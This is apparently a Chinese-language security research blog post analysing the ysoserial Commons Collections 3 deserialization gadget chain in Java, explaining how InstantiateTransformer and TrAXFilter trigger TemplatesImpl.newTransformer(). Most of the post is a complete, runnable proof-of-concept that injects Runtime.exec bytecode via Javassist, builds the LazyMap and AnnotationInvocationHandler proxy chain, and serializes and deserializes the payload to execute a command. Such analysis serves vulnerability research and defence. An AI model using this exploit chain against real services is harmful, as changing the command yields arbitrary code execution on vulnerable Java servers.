ysoserial Commons Collections3反序列化研究
阅读原文时间:2021年10月13日阅读:1

在ysoserial中,官方是没给gadget,这儿经过文章分析我认为的gadget,继承自AbstractTranslate的类被Javassist插桩后返回一个被修改过的templates(_bytecodes)并将其传给InstantiateTransformer后,InstantiateTransformer利用这个templates获得的构造函数加上从ConstantTransformer返回的TrAXFilter类将其实例化,实例化的过程中将会调用TrAXFilter的构造函数,从而调用TemplatesImpl.newTransformer()

ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
new TrAXFilter()
TemplatesImpl.newInstance()
… template gadget

其实也可以看到,大部分的gadget都是和CC1是一样,主要是transformers数组的部分改了下

    final Transformer transformerChain = new ChainedTransformer(  
        new Transformer\[\]{ new ConstantTransformer(1) });  
    final Transformer\[\] transformers = new Transformer\[\] {  
            new ConstantTransformer(TrAXFilter.class),  
            new InstantiateTransformer(  
                    new Class\[\] { Templates.class },  
                    new Object\[\] { templatesImpl } )};

来关注下新出现的两个类InstantiateTransformerTrAXFilter

InstantiateTransformertransform方法中可以看到,获取public构造方法,newInstance实例化该对象

public Object transform(Object input) {  
    try {  
        if (!(input instanceof Class)) {  
            throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));  
        } else {  
            Constructor con = ((Class)input).getConstructor(this.iParamTypes);  
            return con.newInstance(this.iArgs);  
        }

然后是TrAXFilter的构造函数,对传入的templates调用newTransformer

public TrAXFilter(Templates templates)  throws  
    TransformerConfigurationException  
{  
    \_templates = templates;  
    \_transformer = (TransformerImpl) templates.newTransformer();  
    \_transformerHandler = new TransformerHandlerImpl(\_transformer);  
    \_useServicesMechanism = \_transformer.useServicesMechnism();  
}

这样的话就可以和之前的template gadget串起来了,在调用newTransformer时从字节码中加载类,然后运行构造方法,从而执行危险函数。

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class cc3 {

public static void main(String\[\] args) throws Exception {  
    ClassPool pool = ClassPool.getDefault();  
    pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));  
    CtClass cc = pool.makeClass("Cat");  
    String cmd = "java.lang.Runtime.getRuntime().exec(\\"calc\\");";  
    // 创建 static 代码块,并插入代码  
    cc.makeClassInitializer().insertBefore(cmd);  
    String randomClassName = "EvilCat" + System.nanoTime();  
    cc.setName(randomClassName);  
    cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet,避免报错  
    // 写入.class 文件  
    byte\[\] classBytes = cc.toBytecode();  
    byte\[\]\[\] targetByteCodes = new byte\[\]\[\]{classBytes};  
    TemplatesImpl templates = TemplatesImpl.class.newInstance();  
    setFieldValue(templates, "\_bytecodes", targetByteCodes);  
    // 进入 defineTransletClasses() 方法需要的条件  
    setFieldValue(templates, "\_name", "name");  
    setFieldValue(templates, "\_class", null);

    ChainedTransformer chain = new ChainedTransformer(new Transformer\[\] {  
            new ConstantTransformer(TrAXFilter.class),  
            new InstantiateTransformer(new Class\[\]{Templates.class},new Object\[\]{templates})  
    });

    HashMap innermap = new HashMap();  
    LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);

    Constructor handler\_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);  
    handler\_constructor.setAccessible(true);  
    InvocationHandler map\_handler = (InvocationHandler) handler\_constructor.newInstance(Override.class,map); //创建第一个代理的handler

    Map proxy\_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class\[\]{Map.class},map\_handler); //创建proxy对象

    Constructor AnnotationInvocationHandler\_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);  
    AnnotationInvocationHandler\_Constructor.setAccessible(true);  
    InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler\_Constructor.newInstance(Override.class,proxy\_map);

    try{  
        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc3"));  
        outputStream.writeObject(handler);  
        outputStream.close();

        ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc3"));  
        inputStream.readObject();  
    }catch(Exception e){  
        e.printStackTrace();  
    }

}  
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {  
    final Field field = getField(obj.getClass(), fieldName);  
    field.set(obj, value);  
}

public static Field getField(final Class<?> clazz, final String fieldName) {  
    Field field = null;  
    try {  
        field = clazz.getDeclaredField(fieldName);  
        field.setAccessible(true);  
    }  
    catch (NoSuchFieldException ex) {  
        if (clazz.getSuperclass() != null)  
            field = getField(clazz.getSuperclass(), fieldName);  
    }  
    return field;  
}  

}